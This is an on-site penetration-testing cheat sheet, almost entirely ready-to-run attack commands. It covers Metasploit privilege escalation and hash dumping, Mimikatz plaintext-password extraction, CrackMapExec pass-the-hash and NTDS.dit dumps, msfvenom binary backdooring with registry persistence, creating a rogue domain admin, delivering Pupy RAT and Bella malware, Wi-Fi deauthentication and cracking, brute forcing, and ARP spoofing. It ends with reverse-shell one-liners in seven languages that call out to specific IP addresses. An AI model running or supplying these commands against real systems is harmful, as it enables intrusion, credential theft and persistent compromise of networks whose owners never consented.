onsite_cheat_sheet.txt

### Little Cheat Sheet for ON-SITE PENTESTING

Useful Commands for:
    . Responder
    . Metasploit
    . Incognito
    . Mimikatz / Kiwi
    . CrackMapExec
    . Hwacha (CrackMapExec for Linux)
    . Aircrack
    . Hydra
    . Ncrack
    . Medusa
    . ARPSpoof
    . PCredz (Seek passwords inside pcap files)
    . Cameradar (For RTSP - CCTV Video Systems)
    . Reverse Shells
    . SSH Tunneling
    . Windows Privilege Escalation

Responder:
    . To get plain creds use: responder.py -I eth0 -wFb
    . To get NTLM Hashes use: responder.py -I eth0 -wF
    . To Sniff all suported protocols use: responder.py –I eth0

Metasploit:
    . Who am I: getuid

    . Get system info: sysinfo
        . Imporatant things here are: Architecture, Domain, Meterpreter
        . If Meterpreter and Architecture are not the same is necessary migrate a process with the same Architecture than the OS

    . Migrate to process:
        . In meterpreter:
            . ps # => Get architecture Proccess PID
            . migrate {PID}

    . List user privileges:
        . In meterpreter: background
        . In msf:
            . use post/windows/gather/win_privs
            . set session {SESSION_NUM}
            . exploit

    . Privilage Escalation:
        . In meterpreter (migrated to an correct architecture process):
            . use priv
            . getsystem
            . getuid

        . If the above fails:
            . UAC Bypass:
                . In meterpreter:
                    . background
                    . use exploit/windows/local/bypassuac
                    . use exploit/windows/local/bypassuac_injection

            . Another ways to get System:
                . In meterpreter:
                    . shell
                    . In CMD:
                        . wmic qfe list # => Get Installed Patches and Updates
                        . back to meterpreter with Ctrl+C
                        . background

                . In meterpreter:
                    . use exploit/windows/local/{Select Exploit} # => Select a exploit depends of the Patches Installed in the system
                    . Example: 
                        . use exploit/windows/local/ms15_051_client_copy_image
                        . set session {SESSION_NUM}
                        . set target {TARGET_NUM} # => x86 or x64
                        . set payload {PAYLOAD/ARCH/ETC}
                        . exploit
                        . receive new connection
                        . getuid

            . Get Hashes:
                . In meterpreter:
                    . hashdump

                . Other way:
                    . In meterpreter:
                        . background
                        . use post/windows/gather/credentials/credential_collector
                        . set session {SESSION_NUM}
                        . exploit
                        . creds # => List stolen credentials

    . Get DOMAIN CONTROLLER IP:
        . In meterpreter: background
        . In msf:
            . use post/windows/gather/enum_domain
            . set session {SESSION_NUM}
            . exploit

    . List DOMAIN ADMIN Accounts:
        . In meterpreter: background
        . In msf:
            . use post/windows/gather/enum_domain_group_users
            . set group "domain admins"
            . set session {SESSION_NUM}
            . exploit

        . Other method: 
            . From meterpreter:
                . shell
            . In CMD:
                . net groups "domain admins" /domain

    . Maintaining Access:
        . METSVC BIND TCP Backdoor:
            . ps # => Get PID of explorer.exe
            . migrate {PID}
            . run metsvc
        
        . Connect with METSVC backdoor:
            . Bind:
                . use exploit/multi/handler
                . set PAYOLOAD windows/metsvc_bind_tcp
                . set RHOST {VICTIM_IP}
                . set LPORT 31337
                . run

        . Custom Reverse Meterpreter Backdoors:
            . Generate Simple Backdoor:
                . msfvenom -a {ARCH} --platform {PLATFORM} -k -p {PAYLOAD} lhost={LOCAL_IP} lport={LOCAL_PORT} -e {ENCODER} -i 3 -b "\x00\xFF\x0A\x0D" -f {FORMAT} 
            
            . Infect Existent Binary:
                . msfvenom -a {ARCH} --platform {PLATFORM} -x {TEMPLATE_FILE} -k -p {PAYLOAD} lhost={LOCAL_IP} lport={LOCAL_PORT} -e {ENCODER} -i 3 -b "\x00\xFF\x0A\x0D" -f {FORMAT} -o {BACKDOORED_FILENAME}
            
            . MsfVenom Parameters:
                . ARCH: x86, x64
                . PLATFORM: windows, linux, osx, android, solaris, openbsd, freebsd, aix, cisco, unix, etc
                . TEMPLATE_FILE: original_file.extension to be backdoored
                . PAYLOAD:
                    .Windows:
                        . windows/meterpreter/reverse_tcp
                    .Linux:
                        . linux/x86/meterpreter/reverse_tcp
                        . linux/x64/meterpreter/reverse_tcp
                    .OSX:
                        . osx/x86/shell_reverse_tcp
                        . osx/x64/meterpreter_reverse_tcp
                . ENCODER: (The best for exploits)
                    . x86/call4_dword_xor
                    . encoder/x64/xor
                . FORMAT: exe, elf, macho, msi, jar, war, vbs, vba-exe, osx-app, dll
                . BACKDOORED_FILENAME: filename.extension
            
            . Persistance for Custom Backdoor:
                . In meterpreter:
                    .Windows:
                        . reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v {REG_KEY_NAME} -d '{PATH_TO_BACKDOOR}'
                . Linux and OSX:
                    . Manual:  Create Crontab Job

Incognito:
    Requirements:
        . Valid meterpreter session
        . Migrate to a process with the same architecture of the OS
        . Optional but perfect: Get System

    . Load incognito in meterpreter session: use incognito
    
    . Kind of Tokens:
        Delegation: Are used on interactive sessions, like rdp login # => Amazing for RDP
        Impersonation: Are used on passive sessions, like shared network devices
        IMPORTANT: Both kind of Token works for create DOMAIN CONTROLLER USERS!!!

    . List Tokens and Impoersonate Tokens:
        . In meterpreter:
            . list_tokens -u | list_tokens -g # => Search for Domain Controller Session is the main idea
            . impersonate_token {TOKEN_ID} # => The separator bar must be "\\" to avoid bugs
            . Example: DOMAIN\\boss

        . Create DOMAIN CONTROLER USER (if the above work):
            . In meterpreter:
                . shell
            . In CMD:
                . net user {USERNAME} {PASSWORD} /add /domain
                . net group "Domain Admins" {USERNAME} /add /domain
                . After that:
                    . Use the new user to RDP any network machine.
                    . Use psexec to pass the hash:
                      . Exit shell: Ctrl+C
                      . In Meterpreter:
                        . background
                        . use exploit/windows/smb/psexec
                        . set target 1 # => USE POWERSHELL TO AVOID AV
                        . set rhost {IP}
                        . set SMBDomain {DOMAIN}
                        . set SMBUser {USERNAME}
                        . set SMBPass {PASSWORD}
                        . set payload {PAYLOAD/ARCH/ETC}
                        . set lhost {LOCAL_IP}
                        . set lport {LOCAL_IP_FOR_SHELL}
                        . exploit -j
                        . Wait for new shell

Mimikatz / Kiwi:
    Requirements:
        . Valid meterpreter session
        . Migrate to a process with the same architecture of the OS
        . Optional but perfect: Get System

    . Load Mimikatz in meterpreter session: load mimikatz / load kiwi

    . In meterpreter:
        . Native in Metasploit:
            . Get NTLM/LM hashes:
                . msv
            . Get KERBEROS credentials in plain text:
                . kerberos

        . Get Plain Text Passwords:
           . privilege::debug
           . sekurlsa::logonPasswords full

        . Native Mimikatz:      
            . Get full command list:
                . mimikatz_command -f fu::
            . Get NTLM/LM hashes:
                . mimikatz_command -f samdump::hashes
            . Get IN-MEMORY plain text passwords:
                . mimikatz_command -f sekurlsa::searchPasswords
            . Play with Services:
                . mimikatz_command -f service::
                . mimikatz_command -f service::list
                . mimikatz_command -f service::start
                . mimikatz_command -f service::stop
            . Play with Crypto:
                . mimikatz_command -f crypto::
                . mimikatz_command -f crypto::listProviders
            . List/kill processes and impersonate user tokens:
                . mimikatz_command -f handle::
                . mimikatz_command -f handle::list
                . mimikatz_command -f handle::processStop
                . mimikatz_command -f handle::tokenImpersonate

CrackMapExec:
    . Network Enumeration:
        . crackmapexec.py {IP_RANGE}

    . Dump domains password policy from a machine
        . crackmapexec.py {IP} -u {USERNAME} -p '{PASSWORD}' --pass-pol #
            . The above command give a list about account lockouts policy

        . If the above command retrive with Acount Lockouts: 0 and Account Lockouts Duration: None
            . Try to authenticate in all machine of the network segment
                . crackmapexec.py {IP_RANGE} -u {USERNAME} -p '{PASSWORD}'
                . Optional:
                    . The flag -d can be used to specify the Network Domain (-d workgroup)
            . Enumerate all the Shares Folders:
                . crackmapexec.py {IP_RANGE} -u {USERNAME} -p '{PASSWORD}' --shares

    . Dumping SAM hashes and Executing commands
        . Who's logged into the machine:
            . crackmapexec.py {IP_RANGE} -u {USERNAME} -p '{PASSWORD}' --lusers # => Is Domain Admin out there?
        . Verify if Domain Admin is Logged in one pwned machine:
            . crackmapexec.py {IP} -u {USERNAME} -p '{PASSWORD}' -x 'net ser Administrator /domain' --exec-method smbexec
        . Dump Hashes and save in CrackMapExec DB:
            . crackmapexec.py {IP} -u {USERNAME} -p '{PASSWORD}' --sam
        . Create the UseLogonCredential registry key! This allows us to re-enable the WDigest provider and dump CLEAR TEXT CREDENTIALS from LSA memory:
            . crackmapexec.py {IP} -u {USERNAME} -p '{PASSWORD}' --wdigest enable
        . List ID and logged in users in a machine:
            . crackmapexec.py {IP} -u {USERNAME} -p '{PASSWORD}' -x 'quser'
        . Force Logoff of an user:
            . crackmapexec.py {IP} -u {USERNAME} -p '{PASSWORD}' -x 'logoff {ID}' --no-output
        . Use mimikatz module to dump in memory password in CLEAR TEXT:
            . crackmapexec.py {IP} -u {USERNAME} -p '{PASSWORD}' -m modules/credentials/mimikatz.py 
            . Optionally:
                . Is possible sent module parameters with -o flag
                . Example:
                    . crackmapexec.py {IP} -u {USERNAME} -p '{PASSWORD}' -m modules/credentials/mimikatz.py --module-info
                    . crackmapexec.py {IP} -u {USERNAME} -p '{PASSWORD}' -m modules/credentials/mimikatz.py -o COMMAND='privilege::debug'
            . Other Way:
                . Launch Mimikatz against all the network:
                    . crackmapexec.py {IP_RANGE} -u {USERNAME} -p '{PASSWORD}' --mimikatz

        . Get user hashes safely from NTDS.dit on the domain controller:
            . crackmapexec.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {DOMAIN_CONTROLLER_IP} --ntds drsuapi

        . Execute Meterpreter Reverse TCP:
            . MSF Multi Handler Listening in one port:
                . use exploit/multi/handler
                . set payload windows/meterpreter/reverse_https
                . set lhost {LOCAL_IP}
                . set lport {LOCAL_PORT}
                . exploit
            . In other Terminal:
                . crackmapexec 192.168.0.104 -u {USERNAME} -p  {PASSWORD} -M metinject –o LHOST={LOCAL_IP} LPORT={LOCAL_PORT}

        . Passing-the-Hash:
            . For LMHASH:NTHASH Hash:
                . crackmapexec.py smb {IP_RANGE} -u username -H LMHASH:NTHASH
            . For NTHASH Hash:
                . crackmapexec.py smb <IP_RANGE> -u username -H NTHASH
            . Null Sessions:
                crackmapexec.py smb <IP_RANGE> -u '' -p ''

Hwacha (CrackMapExec for Linux):
    . Test Credentials across the network:
        . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}'
    . Steal SSH Key files from a Host:
        . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -m keys
    . Steal Host History file:
        . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -m history
    . Execute Command on Host:
        . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -x {command_to_execute}
    . Key-based Authentication
        . hwacha.py -t {IP_Segment} -u {USERNAME} -i  {path_to_ssh_key} -x {command_to_execute}
    . Memory Scraping to retrieve Plain Text Credentials:
        . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -m mimipenguin
    . Meterpreter Execution
        . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -m meterpreter -o "LHOST={local_ip} LPORT={local_port}"
    . Native Shellcode Execution
        . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -m meterpreter -o "LHOST={local_ip} LPORT={local_port} TYPE={86|64}"
    . MacOS Meterpreter
        . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -m meterpreter -o "LHOST={local_ip} LPORT={local_port} TYPE=osx"
    . Malware Web Delivery (Pupy RAT):
        . Start Pupy C&C
            . pupysh.py
        . Generate Pupy Malware
            . pupygen.py -f py connect --transport ssl --host {attacker_ip}
        . Infect Remote Host:
            . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -m web_delivery -o "PATH={path_to_pupy_malware.py LISTEN={Local_Port}"
    . Malware Bella for OSX:
        . Documentation: https://github.com/Trietptm-on-Security/Bella
        . Start Bella Malware:
            . python Control Center.py 
        . Infect Remote Host:
            . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -m privs
            . hwacha.py -t {IP_Segment} -u {USERNAME} -p '{PASSWORD}' -m sudo_exec -o "PATH={path_to_bella_malware_binary}"
        . From Bella C&C:
            . bella_info
            . other commands (Read Bella Documentation)

Aircrack:
    . Start Monitor mode on Interface:
        airmon-ng start wlan0
    . Find all wifi networks and clients:
        airodump-ng wlan0mon
    
    . Attacking WPA/WPA Networks:
        . Hear data of one specific network:
            airodump-ng wlan0mon --channel {channel} --bssid {AP_MAC} -w /tmp/wpa2-wep
        . Deauthenticate Client:
            aireplay-ng -0 1 -a {AP_MAC} -c {CLIENT_MAC (STATION)} wlan0mon
            # This help in WPA/WPA2 to steal HANDSHAKE or to increase IV Steal on WEP attacks
            # In WPA expect the message: WPA handshake: {AP_MAC}
        
    . Attacking WEP Networks:
        . WEP with Connected Clients
            . Hear data of one specific network:
                airodump-ng -c {channel} –bssid {AP_MAC} -w {filename} wlan0mon
            . Attacks:
                Fake authentication: 
                    aireplay-ng -1 0 -e {ESSID} -a {AP_MAC} -h {OUR_MAC} wlan0mon
                Disassociation attack:
                    aireplay-ng -0 1 -a {AP_MAC} -c {VIC CLIENT} wlan0mon 
                ARP replay attack:
                    aireplay-ng -3 -b {AP_MAC} -h {OUR_MAC} wlan0mon
    
        . ARP amplification
            . Hear data of one specific network:
                    airodump-ng -c {channel} –bssid {AP_MAC} -w {filename} wlan0mon
            . Attacks:
                aireplay-ng -1 500 -q 8 -a {AP_MAC} wlan0mon
                areplay-ng -5 -b {AP_MAC} -h {OUR_MAC} wlan0mon
                packetforge-ng -0 -a {AP_MAC} -h {OUR_MAC} -k 255.255.255.255 -l 255.255.255.255 -y {FRAGMENT.xor} -w {filename.cap}
                tcpdump -n -vvv -e -s0 -r {replay_dec.#####.cap}
                packetforge-ng -0 -a {AP_MAC} -h {OUR_MAC} -k {Destination_IP} -l {Source_IP} -y {FRAGMENT.xor} -w {filename.cap}
                aireplay-ng -2 -r {filename.cap} wlan0mon

        . Cracking a Clientless WEP 
            . Hear data of one specific network:
                airodump-ng -c (channel) –bssid (AP MAC) -w (filename) wlan0mon
            . Attack Step 1:
                aireplay-ng -1 60 -e {ESSID} -a {AP_MAC} -h {OUR_MAC} wlan0mon
                aireplay-ng -5 -b {AP_MAC} -h {OUR MAC} wlan0mon
                packetforge-ng -0 -a {AP_MAC} -h {OUR MAC} -l 255.255.255.255 -k 255.255.255.255 -y {fragment filename} -w filename.cap
                tcpdump -n -vvv -e -s0 -r filename.cap {TEST}
                aireplay-ng -2 -r filename.cap wlan0mon
            . Attack Step 2:
                aireplay-ng -4 -b {AP_MAC} -h {OUR_MAC} wlan0mon
                tcpdump -s 0 -s -e -r replayfilename.cap
                packetforge-ng -0 -a {AP_MAC} -h {OUR_MAC} -l 255.255.255.255(Source IP) -k 255.255.255.255(Dest IP) -y {fragmentfilename xor} -w filename.cap
                aireplay-ng -2 -r filename.cap wlan0mon
                aircrack-ng -0 filename.cap

        . Cracking WEP /w shared key AUTH   
            .Hear data of one specific network:
                airodump-ng -c (channel) –bssid (AP MAC) -w (filename) wlan0mon
            . Attacks:
                aireplay-ng -1 0 -e {ESSID} -a {AP_MAC} -h {OUR_MAC} wlan0mon # this will error out
                aireplay-ng -0 1 -a {AP_MAC} -c {VIC_CLIENT} wlan0mon
                aireplay-ng -1 60 -e {ESSID} -y {sharedkeyfile} -a {AP_MAC} -h {OUR_MAC} wlan0mon
                aireplay-ng -3 -b {AP_MAC} -h {OUR_MAC} wlan0mon
                aireplay-ng -0 1 -a {AP_MAC} -c {VIC_CLIENT} wlan0mon
                aircrack-ng -0 -z(PTW) -n 64(64bit) filename.cap
        . Automated wireless attack tool:
            . wifite

    . Crack Handshake by dictionary: 
        aircrack-ng -0 –w /tmp/wordlists/word.lst -b {AP_MAC} /tmp/wpa2*.cap
    . Crack Handshake by bruteforcing:
        john --stdout --incremental:all | aircrack-ng -0 -b {AP_MAC}  -w - /tmp/wpa2*.cap

Hydra:
    . hydra -l {username} -P {password_wordlist} -t {thread_number} {protocol}://{IP/IP_Segment}  
    . Optional Argument -M {host_list} # One entry per line
    . Common Supported Protocols: ssh, ftp, rdp, smb, telnet, vnc, rsh, imap, ms-sql, mysql, rexec, rlogin, sip

Ncrack:
    . ncrack -p {port} --user {username} -P {password_wordlist} -T5(thread_number) {IP/IP_Segment}
    . Common Supported Protocols: SSH, RDP, FTP, Telnet, POP3, IMAP, SMB, VNC, SIP, Redis, PostgreSQL, MySQL, MSSQL, MongoDB, Cassandra, WinRM and OWA

Medusa:
    . medusa -u {username} -P {password_wordlist} -h {IP/IP_Segment} -M {protocol (ssh,ftp,rdp,telnet)}
    . Common Supported Protocols: ssh, ftp, rdp, smb, telnet, vnc, rsh, imap, ms-sql, mysql, rexec, rlogin, sip

ARPSpoof:
    . Enable Ip Forwarding:
        . Linux:
            . echo 1 > /proc/sys/net/ipv4/ip_forward
        . OSX:
            . sysctl -w net.inet.ip.forwarding=1
    . Check your default gateway:
        . Linux: 
            . ip route 
        . OSX:
            . netstat -nr
    . ArpSpoof one target:
        . arpspoof -i {interface} -t {Victim_IP} -r {Default_Gateway}
    . ArpSpoof all network:
        . arpspoof -i {interface} -t {Default_Gateway} {Own_IP}
        . arpspoof -i {interface} -t {Own_ip} {Default_Gateway} 

PCredz: 
    . Seek Passwords inside pcap files:
        . Pcredz -f file-to-parse.pcap
        . Pcredz -d /tmp/pcap-directory-to-parse/
    . Find Passwords in live capture:
        . Pcredz -i eth0 

Cameradar:
    . Documentation: https://github.com/EtixLabs/cameradar
    . Example: docker run -t ullaakut/cameradar -t <target> <other command-line options>
    . Scan Network for CCTV and run attacks:
        . docker run -t ullaakut/cameradar -t {IP_Segments} -l
        . Optional Arguments: 
            . Verbose XML Results: -v /your/path:/tmp/cameradar_scan.xml
            . Set Custom Ports: -p "18554,19000-19010"
    . Use Custom Dictionaries:
        . Make sure to also use a volume to add them to the docker container
            . Example: /path/to/dictionaries/:/tmp/
        . Command:
            . docker run -t -v /path/to/dictionaries/:/tmp/ ullaakut/cameradar -r /tmp/myroutes -c /tmp/mycredentials.json -t mytarget
    . Connect to CCTV with VLC:
        . RTSP URL: rtsp://admin:12345@173.16.100.45:554/live.sdp

Crack Hashes with John: 
    . NTLMv2:
        john /usr/share/responder/logs/{file-ip.txt} –wordlist={path}
    . NTLM: # => hashdump
        john --format=NT {hash_file.txt} –wordlist={path}

SQL Server Default Databases:
    . RECON:
        . NMAP:
            . nmap -sU -p 1434 -sV {NETWORK_SEGMENT}
        . In msf:
            . use auxiliary/scanner/mssql/mssql_ping
            . set RHOSTS {RANGE_OF_HOSTS}
            . EXPLOIT

        . Other way:
            . In msf:
                . use auxiliary/scanner/mssql/mssql_login => List Users + Funciones (I'm searching for xp_cmdshell function) 
                . If the funciton xp_cmdshell is listed and the 'sa' user password is default:
                    . SET CMD '{COMMAND}'
                    . exploit
                    . Wait command output 

    . DEFAULT SQL SERVER CREDS:
        . SQL Server 2008/R2 Express => sa:empty
        . SQL Server 201x Express => sa:Password123

Reverse Shells:
    . Bash:
        . bash -i >& /dev/tcp/172.16.0.107/9999 0>&1
    
    . Perl:
        . perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    . Pytho:
        . python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("167.99.168.41",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    
    . PHP:
        . php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
    
    . Ruby:
        . ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    
    . Netcat:
        . nc -e /bin/sh 10.0.0.1 1234 
        . rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
    
    . Java:
        . r = Runtime.getRuntime()
          p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
          p.waitFor()
    
    . Get PTY after Reverse Shell:
        . python -c "import pty; pty.spawn('/bin/bash')"

SSH Tunneling:
    . Remote Reverse SSH Tunnel:
        . ssh -fNTR 2222:localhost:22 root@167.99.168.41
        . Get a Remote SOCK4 Proxy Tunnel after Remote Reverse SSH Tunel:
            . ssh -fgND 8891 root@localhost -p 2222
    . SOCK4 Proxy Tunnel:
        . ssh -fND 8888 root@localhost

Windows Privilege Escalation Documentation:
    . https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

Port Listing without netstat:
    awk 'function hextodec(str,ret,n,i,k,c){
    ret = 0
    n = length(str)
    for (i = 1; i <= n; i++) {
        c = tolower(substr(str, i, 1))
        k = index("123456789abcdef", c)
        ret = ret * 16 + k
    }
    return ret
    }
    function getIP(str,ret){
        ret=hextodec(substr(str,index(str,":")-2,2)); 
        for (i=5; i>0; i-=2) {
            ret = ret"."hextodec(substr(str,i,2))
        }
        ret = ret":"hextodec(substr(str,index(str,":")+1,4))
        return ret
    } 
    NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp